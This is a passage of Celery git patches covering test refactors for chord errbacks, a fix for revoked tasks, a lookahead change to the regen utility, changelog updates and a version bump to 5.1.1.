redis_connection.delete(redis_key) with subtests.test( msg="Error propagates from body chain which fails at the end" ): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test( msg="Errback is called after body chain which fails at the end" ): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_error_propagates_to_chord_from_group(self, manager, subtests): try: @@ -1736,36 +1995,30 @@ def test_errback_called_by_chord_from_group(self, manager, subtests): redis_connection = get_redis_connection() errback_msg = str(uuid.uuid4()).encode() - errback = redis_echo.si(errback_msg) + redis_key = str(uuid.uuid4()) + errback = redis_echo.si(errback_msg, redis_key=redis_key) child_sig = group(identity.si(42), fail.s()) chord_sig = chord((child_sig, ), identity.s()) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from header group"): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after header group fails"): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) chord_sig = chord((identity.si(42), ), child_sig) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from body group"): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after body group fails"): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_errback_called_by_chord_from_group_fail_multiple( self, manager, subtests @@ -1775,7 +2028,8 @@ def test_errback_called_by_chord_from_group_fail_multiple( redis_connection = get_redis_connection() fail_task_count = 42 - errback = redis_count.si() + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) # Include a mix of passing and failing tasks child_sig = group( *(identity.si(42) for _ in range(24)), # arbitrary task count @@ -1784,61 +2038,133 @@ def test_errback_called_by_chord_from_group_fail_multiple( chord_sig = chord((child_sig, ), identity.s()) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from header group"): - redis_connection.delete("redis-count") + redis_connection.delete(redis_key) res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after header group fails"): # NOTE: Here we only expect the errback to be called once since it # is attached to the chord body which is a single task! - expected_errback_count = 1 - check_interval = 0.1 - check_max = int(TIMEOUT * check_interval) - for i in range(check_max + 1): - maybe_count = redis_connection.get("redis-count") - # It's either `None` or a base-10 integer - count = int(maybe_count or b"0") - if count == expected_errback_count: - # escape and pass - break - elif i < check_max: - # try again later - sleep(check_interval) - else: - # fail - assert count == expected_errback_count - else: - raise TimeoutError("Errbacks were not called in time") + await_redis_count(1, redis_key=redis_key) chord_sig = chord((identity.si(42), ), child_sig) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from body group"): - redis_connection.delete("redis-count") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after body group fails"): # NOTE: Here we expect the errback to be called once per failing # task in the chord body since it is a group - expected_errback_count = fail_task_count - check_interval = 0.1 - check_max = int(TIMEOUT * check_interval) - for i in range(check_max + 1): - maybe_count = redis_connection.get("redis-count") - # It's either `None` or a base-10 integer - count = int(maybe_count or b"0") - if count == expected_errback_count: - # escape and pass - break - elif i < check_max: - # try again later - sleep(check_interval) - else: - # fail - assert count == expected_errback_count - else: - raise TimeoutError("Errbacks were not called in time") + await_redis_count(fail_task_count, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_chord_header_task_replaced_with_chain(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + replace_with_chain.si(42), + identity.s(), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42] + + def test_chord_header_child_replaced_with_chain_first(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + (replace_with_chain.si(42), identity.s(1337), ), + identity.s(), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42, 1337] + + def test_chord_header_child_replaced_with_chain_middle(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + (identity.s(42), replace_with_chain.s(1337), identity.s(31337), ), + identity.s(), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42, 1337, 31337] + + def test_chord_header_child_replaced_with_chain_last(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + (identity.s(42), replace_with_chain.s(1337), ), + identity.s(), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42, 1337] + + def test_chord_body_task_replaced_with_chain(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + identity.s(42), + replace_with_chain.s(), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42] + + def test_chord_body_chain_child_replaced_with_chain_first(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + identity.s(42), + chain(replace_with_chain.s(), identity.s(), ), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42] + + def test_chord_body_chain_child_replaced_with_chain_middle(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + identity.s(42), + chain(identity.s(), replace_with_chain.s(), identity.s(), ), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42] + + def test_chord_body_chain_child_replaced_with_chain_last(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + orig_sig = chord( + identity.s(42), + chain(identity.s(), replace_with_chain.s(), ), + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42] class test_signature_serialization: diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 7527f0aed24..1b6064f0db5 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -854,7 +854,7 @@ def test_apply_contains_chords_containing_empty_chain(self): # This is an invalid setup because we can't complete a chord header if # there are no actual tasks which will run in it. However, the current # behaviour of an `IndexError` isn't particularly helpful to a user. - res_obj = group_sig.apply_async() + group_sig.apply_async() def test_apply_contains_chords_containing_chain_with_empty_tail(self): ggchild_count = 42 diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index ff6f0049c04..fddeae429bf 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -1,7 +1,7 @@ import socket import tempfile from datetime import datetime, timedelta -from unittest.mock import ANY, MagicMock, Mock, patch +from unittest.mock import ANY, MagicMock, Mock, call, patch, sentinel import pytest from case import ContextMock @@ -992,10 +992,12 @@ def test_send_event(self): retry=True, retry_policy=self.app.conf.task_publish_retry_policy) def test_replace(self): - sig1 = Mock(name='sig1') + sig1 = MagicMock(name='sig1') sig1.options = {} + self.mytask.request.id = sentinel.request_id with pytest.raises(Ignore): self.mytask.replace(sig1) + sig1.freeze.assert_called_once_with(self.mytask.request.id) def test_replace_with_chord(self): sig1 = Mock(name='sig1') @@ -1003,7 +1005,6 @@ def test_replace_with_chord(self): with pytest.raises(ImproperlyConfigured): self.mytask.replace(sig1) - @pytest.mark.usefixtures('depends_on_current_app') def test_replace_callback(self): c = group([self.mytask.s()], app=self.app) c.freeze = Mock(name='freeze') @@ -1011,29 +1012,23 @@ def test_replace_callback(self): self.mytask.request.id = 'id' self.mytask.request.group = 'group' self.mytask.request.root_id = 'root_id' - self.mytask.request.callbacks = 'callbacks' - self.mytask.request.errbacks = 'errbacks' - - class JsonMagicMock(MagicMock): - parent = None - - def __json__(self): - return 'whatever' - - def reprcall(self, *args, **kwargs): - return 'whatever2' - - mocked_signature = JsonMagicMock(name='s') - accumulate_mock = JsonMagicMock(name='accumulate', s=mocked_signature) - self.mytask.app.tasks['celery.accumulate'] = accumulate_mock - - try: - self.mytask.replace(c) - except Ignore: - mocked_signature.return_value.set.assert_called_with( - link='callbacks', - link_error='errbacks', - ) + self.mytask.request.callbacks = callbacks = 'callbacks' + self.mytask.request.errbacks = errbacks = 'errbacks' + + # Replacement groups get uplifted to chords so that we can accumulate + # the results and link call/errbacks - patch the appropriate `chord` + # methods so we can validate this behaviour + with patch( + "celery.canvas.chord.link" + ) as mock_chord_link, patch( + "celery.canvas.chord.link_error" + ) as mock_chord_link_error: + with pytest.raises(Ignore): + self.mytask.replace(c) + # Confirm that the call/errbacks on the original signature are linked + # to the replacement signature as expected + mock_chord_link.assert_called_once_with(callbacks) + mock_chord_link_error.assert_called_once_with(errbacks) def test_replace_group(self): c = group([self.mytask.s()], app=self.app) From 82f76d96fd6aa9d77537a7234325a3d50ed370a9 Mon Sep 17 00:00:00 2001 From: Leo Mermelstein Date: Tue, 15 Jun 2021 15:28:38 -0400 Subject: [PATCH 248/415] Fix for revoked tasks being moved to RETRY state https://github.com/celery/celery/issues/6793 --- celery/worker/request.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/celery/worker/request.py b/celery/worker/request.py index 2255de132b1..7c859df297e 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -523,11 +523,12 @@ def on_failure(self, exc_info, send_failed_event=True, return_ok=False): # If the message no longer has a connection and the worker # is terminated, we aborted it. # Otherwise, it is revoked. - if self.message.channel.connection and not self._already_revoked: + if self.message.channel.connection: # This is a special case where the process # would not have had time to write the result. - self._announce_revoked( - 'terminated', True, str(exc), False) + if not self._already_revoked: + self._announce_revoked( + 'terminated', True, str(exc), False) elif not self._already_cancelled: self._announce_cancelled() return From d667f1f5aa88a7d154dd2f34589e1690d63b222a Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Thu, 3 Jun 2021 10:12:39 +1000 Subject: [PATCH 249/415] improv: Use single-lookahead for regen consumption This change introduces a helper method which abstracts the logic of consuming items one by one in `regen` and also introduces a single lookahead to ensure that the `__done` property gets set even if the regen is not fully iterated, fixing an edge case where a repeatable iterator would get doubled when used as a base for a `regen` instance. --- celery/utils/functional.py | 50 +++++++++++++++--------- t/unit/tasks/test_canvas.py | 6 ++- t/unit/utils/test_functional.py | 68 +++++++++++++++++++++++++++++++++ 3 files changed, 106 insertions(+), 18 deletions(-) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index a82991b2437..2878bc15ea0 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -195,7 +195,6 @@ def __init__(self, it): # UserList creates a new list and sets .data, so we don't # want to call init here. self.__it = it - self.__index = 0 self.__consumed = [] self.__done = False @@ -205,28 +204,45 @@ def __reduce__(self): def __length_hint__(self): return self.__it.__length_hint__() + def __lookahead_consume(self, limit=None): + if not self.__done and (limit is None or limit > 0): + it = iter(self.__it) + try: + now = next(it) + except StopIteration: + return + self.__consumed.append(now) + # Maintain a single look-ahead to ensure we set `__done` when the + # underlying iterator gets exhausted + while not self.__done: + try: + next_ = next(it) + self.__consumed.append(next_) + except StopIteration: + self.__done = True + break + finally: + yield now + now = next_ + # We can break out when `limit` is exhausted + if limit is not None: + limit -= 1 + if limit <= 0: + break + def __iter__(self): yield from self.__consumed - if not self.__done: - for x in self.__it: - self.__consumed.append(x) - yield x - self.__done = True + yield from self.__lookahead_consume() def __getitem__(self, index): if index < 0: return self.data[index] - try: - return self.__consumed[index] - except IndexError: - it = iter(self) - try: - for _ in range(self.__index, index + 1): - next(it) - except StopIteration: - raise IndexError(index) - else: - return self.__consumed[index] + # Consume elements up to the desired index prior to attempting to + # access it from within `__consumed` + consume_count = index - len(self.__consumed) + 1 + for _ in self.__lookahead_consume(limit=consume_count): + pass + return self.__consumed[index] def __bool__(self): if len(self.__consumed): diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 1b6064f0db5..487e3b1d6fe 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -978,11 +978,15 @@ def build_generator(): yield self.add.s(1, 1) self.second_item_returned = True yield self.add.s(2, 2) + raise pytest.fail("This should never be reached") self.second_item_returned = False c = chord(build_generator(), self.add.s(3)) c.app - assert not self.second_item_returned + # The second task gets returned due to lookahead in `regen()` + assert self.second_item_returned + # Access it again to make sure the generator is not further evaluated + c.app def test_reverse(self): x = chord([self.add.s(2, 2), self.add.s(4, 4)], body=self.mul.s(4)) diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index d7e8b686f5e..fe12f426462 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -1,6 +1,7 @@ import collections import pytest +import pytest_subtests from kombu.utils.functional import lazy from celery.utils.functional import (DummyContext, first, firstmethod, @@ -206,6 +207,73 @@ def __iter__(self): # Finally we xfail this test to keep track of it raise pytest.xfail(reason="#6794") + def test_length_hint_passthrough(self, g): + assert g.__length_hint__() == 10 + + def test_getitem_repeated(self, g): + halfway_idx = g.__length_hint__() // 2 + assert g[halfway_idx] == halfway_idx + # These are now concretised so they should be returned without any work + assert g[halfway_idx] == halfway_idx + for i in range(halfway_idx + 1): + assert g[i] == i + # This should only need to concretise one more element + assert g[halfway_idx + 1] == halfway_idx + 1 + + def test_done_does_not_lag(self, g): + """ + Don't allow regen to return from `__iter__()` and check `__done`. + """ + # The range we zip with here should ensure that the `regen.__iter__` + # call never gets to return since we never attempt a failing `next()` + len_g = g.__length_hint__() + for i, __ in zip(range(len_g), g): + assert getattr(g, "_regen__done") is (i == len_g - 1) + # Just for sanity, check against a specific `bool` here + assert getattr(g, "_regen__done") is True + + def test_lookahead_consume(self, subtests): + """ + Confirm that regen looks ahead by a single item as expected. + """ + def g(): + yield from ["foo", "bar"] + raise pytest.fail("This should never be reached") + + with subtests.test(msg="bool does not overconsume"): + assert bool(regen(g())) + with subtests.test(msg="getitem 0th does not overconsume"): + assert regen(g())[0] == "foo" + with subtests.test(msg="single iter does not overconsume"): + assert next(iter(regen(g()))) == "foo" + + class ExpectedException(BaseException): + pass + + def g2(): + yield from ["foo", "bar"] + raise ExpectedException() + + with subtests.test(msg="getitem 1th does overconsume"): + r = regen(g2()) + with pytest.raises(ExpectedException): + r[1] + # Confirm that the item was concretised anyway + assert r[1] == "bar" + with subtests.test(msg="full iter does overconsume"): + r = regen(g2()) + with pytest.raises(ExpectedException): + for _ in r: + pass + # Confirm that the items were concretised anyway + assert r == ["foo", "bar"] + with subtests.test(msg="data access does overconsume"): + r = regen(g2()) + with pytest.raises(ExpectedException): + r.data + # Confirm that the items were concretised anyway + assert r == ["foo", "bar"] + class test_head_from_fun: From ba0d2338de1b85a9aacdd2cfdea4fe38369b495f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 16 Jun 2021 14:54:35 +0300 Subject: [PATCH 250/415] Update Changelog. --- Changelog.rst | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index e2a2401ff1a..00c773cae49 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,23 @@ This document contains change notes for bugfix & new features in the & 5.1.x series, please see :ref:`whatsnew-5.1` for an overview of what's new in Celery 5.1. +.. version-5.1.1: + +5.1.1 +===== + +:release-date: TBD +:release-by: Omer Katz + +- Fix ``--pool=threads`` support in command line options parsing. (#6787) +- Fix ``LoggingProxy.write()`` return type. (#6791) +- Couchdb key is now always coherced into a string. (#6781) +- grp is no longer imported unconditionally. (#6804) + This fixes a regression in 5.1.0 when running Celery in non-unix systems. +- Ensure regen utility class gets marked as done when concertised. (#6789) +- Preserve call/errbacks of replaced tasks. (#6770) +- Use single-lookahead for regen consumption. (#6799) + .. version-5.1.0: 5.1.0 From e23fb5e33d714aa6deda6e1e87da9614fa0aadb9 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 17 Jun 2021 16:04:30 +0300 Subject: [PATCH 251/415] Refactor and simplify ``Request.on_failure``. (#6816) --- celery/worker/request.py | 21 ++++++++++++--------- t/unit/worker/test_request.py | 7 ++----- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/celery/worker/request.py b/celery/worker/request.py index 7c859df297e..1760fa489cf 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -520,17 +520,20 @@ def on_failure(self, exc_info, send_failed_event=True, return_ok=False): is_terminated = isinstance(exc, Terminated) if is_terminated: - # If the message no longer has a connection and the worker - # is terminated, we aborted it. - # Otherwise, it is revoked. - if self.message.channel.connection: + # If the task was terminated and the task was not cancelled due + # to a connection loss, it is revoked. + + # We always cancel the tasks inside the master process. + # If the request was cancelled, it was not revoked and there's + # nothing to be done. + # According to the comment below, we need to check if the task + # is already revoked and if it wasn't, we should announce that + # it was. + if not self._already_cancelled and not self._already_revoked: # This is a special case where the process # would not have had time to write the result. - if not self._already_revoked: - self._announce_revoked( - 'terminated', True, str(exc), False) - elif not self._already_cancelled: - self._announce_cancelled() + self._announce_revoked( + 'terminated', True, str(exc), False) return elif isinstance(exc, MemoryError): raise MemoryError(f'Process got: {exc}') diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index c84c00f628f..176c88e21d7 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -756,7 +756,7 @@ def test_on_failure_task_cancelled(self): job = self.xRequest() job.eventer = Mock() job.time_start = 1 - job.message.channel.connection = None + job._already_cancelled = True try: raise Terminated() @@ -765,11 +765,8 @@ def test_on_failure_task_cancelled(self): job.on_failure(exc_info) - assert job._already_cancelled - job.on_failure(exc_info) - job.eventer.send.assert_called_once_with('task-cancelled', - uuid=job.id) + assert not job.eventer.send.called def test_from_message_invalid_kwargs(self): m = self.TaskMessage(self.mytask.name, args=(), kwargs='foo') From d4f35b1d8e2ac19a03549a25226e3c0091a53c2a Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 17 Jun 2021 16:11:15 +0300 Subject: [PATCH 252/415] Update changelog. --- Changelog.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/Changelog.rst b/Changelog.rst index 00c773cae49..f860c40e773 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -24,6 +24,7 @@ an overview of what's new in Celery 5.1. - Ensure regen utility class gets marked as done when concertised. (#6789) - Preserve call/errbacks of replaced tasks. (#6770) - Use single-lookahead for regen consumption. (#6799) +- Revoked tasks are no longer incorrectly marked as retried. (#6812, #6816) .. version-5.1.0: From ac9e181eb5bb3e328366528e7e95959b8d156e10 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 17 Jun 2021 16:11:29 +0300 Subject: [PATCH 253/415] =?UTF-8?q?Bump=20version:=205.1.0=20=E2=86=92=205?= =?UTF-8?q?.1.1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 391f7c4c11f..74146e3d8ca 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.1.0 +current_version = 5.1.1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index d87548e89d8..637afa93e58 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.0 (sun-harmonics) +:Version: 5.1.1 (sun-harmonics) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.1.0 runs on, +Celery version 5.1.1 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.1.0 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.1.1 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 6ba4b3cd5ce..fdb5e48f961 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'sun-harmonics' -__version__ = '5.1.0' +__version__ = '5.1.1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 41fde3260eb..81c584ffc16 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.1.0 (cliffs) +:Version: 5.1.1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From a7e6fc14f3dd2001fe4d0d05adec9a7b459223cb Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 17 Jun 2021 16:17:33 +0300 Subject: [PATCH 254/415] Fix version in subtitle. --- docs/getting-started/introduction.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/introduction.rst b/docs/getting-started/introduction.rst index d2ae1d1b261..a57086df8bc 100644 --- a/docs/getting-started/introduction.rst +++ b/docs/getting-started/introduction.rst @@ -39,7 +39,7 @@ What do I need? =============== .. sidebar:: Version Requirements - :subtitle: Celery version 5.0 runs on + :subtitle: Celery version 5.1 runs on - Python ❨3.6, 3.7, 3.8❩ - PyPy3.6 ❨7.3❩ From ee9a25137781d41c3666bf60b52511456565b888 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 17 Jun 2021 16:21:51 +0300 Subject: [PATCH 255/415] Fix typo in changelog. --- Changelog.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Changelog.rst b/Changelog.rst index f860c40e773..d9e7f74fde1 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -18,7 +18,7 @@ an overview of what's new in Celery 5.1. - Fix ``--pool=threads`` support in command line options parsing. (#6787) - Fix ``LoggingProxy.write()`` return type. (#6791) -- Couchdb key is now always coherced into a string. (#6781) +- Couchdb key is now always coerced into a string. (#6781) - grp is no longer imported unconditionally. (#6804) This fixes a regression in 5.1.0 when running Celery in non-unix systems. - Ensure regen utility class gets marked as done when concertised. (#6789) From 102eddd7fd9728f4217ef33f21ba604ff0e0addb Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 15 Jun 2021 16:45:14 +1000 Subject: [PATCH 256/415] fix: Calling of errbacks when chords fail We had a special case for calling errbacks when a chord failed which assumed they were old style. This change ensures that we call the proper errback dispatch method which understands new and old style errbacks, and adds test to confirm that things behave as one might expect now. --- celery/backends/base.py | 19 ++- celery/canvas.py | 15 +- t/integration/tasks.py | 17 ++- t/integration/test_canvas.py | 268 +++++++++++++++++++++++++++++++++-- t/unit/backends/test_base.py | 14 +- t/unit/tasks/test_canvas.py | 10 +- 6 files changed, 304 insertions(+), 39 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 7d4fbbdc3b7..f7ef15f53de 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -278,19 +278,24 @@ def mark_as_retry(self, task_id, exc, traceback=None, traceback=traceback, request=request) def chord_error_from_stack(self, callback, exc=None): - # need below import for test for some crazy reason - from celery import group # pylint: disable app = self.app try: backend = app._tasks[callback.task].backend except KeyError: backend = self + # We have to make a fake request since either the callback failed or + # we're pretending it did since we don't have information about the + # chord part(s) which failed. This request is constructed as a best + # effort for new style errbacks and may be slightly misleading about + # what really went wrong, but at least we call them! + fake_request = Context({ + "id": callback.options.get("task_id"), + "errbacks": callback.options.get("link_error", []), + "delivery_info": dict(), + **callback + }) try: - group( - [app.signature(errback) - for errback in callback.options.get('link_error') or []], - app=app, - ).apply_async((callback.id,)) + self._call_task_errbacks(fake_request, exc, None) except Exception as eb_exc: # pylint: disable=broad-except return backend.fail_from_current_stack(callback.id, exc=eb_exc) else: diff --git a/celery/canvas.py b/celery/canvas.py index fb9c9640399..dd8c8acc8ed 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1123,18 +1123,17 @@ def set_immutable(self, immutable): task.set_immutable(immutable) def link(self, sig): - # Simply link to first task + # Simply link to first task. Doing this is slightly misleading because + # the callback may be executed before all children in the group are + # completed and also if any children other than the first one fail. + # + # The callback signature is cloned and made immutable since it the + # first task isn't actually capable of passing the return values of its + # siblings to the callback task. sig = sig.clone().set(immutable=True) return self.tasks[0].link(sig) def link_error(self, sig): - try: - sig = sig.clone().set(immutable=True) - except AttributeError: - # See issue #5265. I don't use isinstance because current tests - # pass a Mock object as argument. - sig['immutable'] = True - sig = Signature.from_dict(sig) # Any child task might error so we need to ensure that they are all # capable of calling the linked error signature. This opens the # possibility that the task is called more than once but that's better diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 2cbe534fa4c..8d1119b6302 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -301,11 +301,6 @@ def fail_replaced(self, *args): raise self.replace(fail.si(*args)) -@shared_task -def chord_error(*args): - return args - - @shared_task(bind=True) def return_priority(self, *_args): return "Priority: %s" % self.request.delivery_info['priority'] @@ -385,3 +380,15 @@ def _recurse(sig): if isinstance(sig, chord): _recurse(sig.body) _recurse(sig_obj) + + +@shared_task +def errback_old_style(request_id): + redis_count(request_id) + return request_id + + +@shared_task +def errback_new_style(request, exc, tb): + redis_count(request.id) + return request.id diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 267fa6e1adb..2c48d43e07e 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -3,7 +3,7 @@ import tempfile import uuid from datetime import datetime, timedelta -from time import sleep +from time import monotonic, sleep import pytest import pytest_subtests # noqa: F401 @@ -18,8 +18,8 @@ get_redis_connection) from .tasks import (ExpectedException, add, add_chord_to_chord, add_replaced, add_to_all, add_to_all_to_chord, build_chain_inside_task, - chord_error, collect_ids, delayed_sum, - delayed_sum_with_soft_guard, fail, fail_replaced, + collect_ids, delayed_sum, delayed_sum_with_soft_guard, + errback_new_style, errback_old_style, fail, fail_replaced, identity, ids, print_unicode, raise_error, redis_count, redis_echo, replace_with_chain, replace_with_chain_which_raises, replace_with_empty_chain, @@ -1497,11 +1497,14 @@ def test_chord_on_error(self, manager): if not manager.app.conf.result_backend.startswith('redis'): raise pytest.skip('Requires redis result backend.') - # Run the chord and wait for the error callback to finish. + # Run the chord and wait for the error callback to finish. Note that + # this only works for old style callbacks since they get dispatched to + # run async while new style errbacks are called synchronously so that + # they can be passed the request object for the failing task. c1 = chord( header=[add.s(1, 2), add.s(3, 4), fail.s()], body=print_unicode.s('This should not be called').on_error( - chord_error.s()), + errback_old_style.s()), ) res = c1() with pytest.raises(ExpectedException): @@ -1513,8 +1516,11 @@ def test_chord_on_error(self, manager): lambda: res.children[0].children, lambda: res.children[0].children[0].result, ) + start = monotonic() while not all(f() for f in check): - pass + if monotonic() > start + TIMEOUT: + raise TimeoutError("Timed out waiting for children") + sleep(0.1) # Extract the results of the successful tasks from the chord. # @@ -1529,7 +1535,7 @@ def test_chord_on_error(self, manager): r"[0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}" ) callback_chord_exc = AsyncResult( - res.children[0].children[0].result[0] + res.children[0].children[0].result ).result failed_task_id = uuid_patt.search(str(callback_chord_exc)) assert (failed_task_id is not None), "No task ID in %r" % callback_exc @@ -1808,7 +1814,9 @@ def test_error_propagates_to_chord_from_simple(self, manager, subtests): with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) - def test_errback_called_by_chord_from_simple(self, manager, subtests): + def test_immutable_errback_called_by_chord_from_simple( + self, manager, subtests + ): if not manager.app.conf.result_backend.startswith("redis"): raise pytest.skip("Requires redis result backend.") redis_connection = get_redis_connection() @@ -1843,6 +1851,46 @@ def test_errback_called_by_chord_from_simple(self, manager, subtests): await_redis_echo({errback_msg, }, redis_key=redis_key) redis_connection.delete(redis_key) + @pytest.mark.parametrize( + "errback_task", [errback_old_style, errback_new_style, ], + ) + def test_mutable_errback_called_by_chord_from_simple( + self, errback_task, manager, subtests + ): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback = errback_task.s() + child_sig = fail.s() + + chord_sig = chord((child_sig, ), identity.s()) + 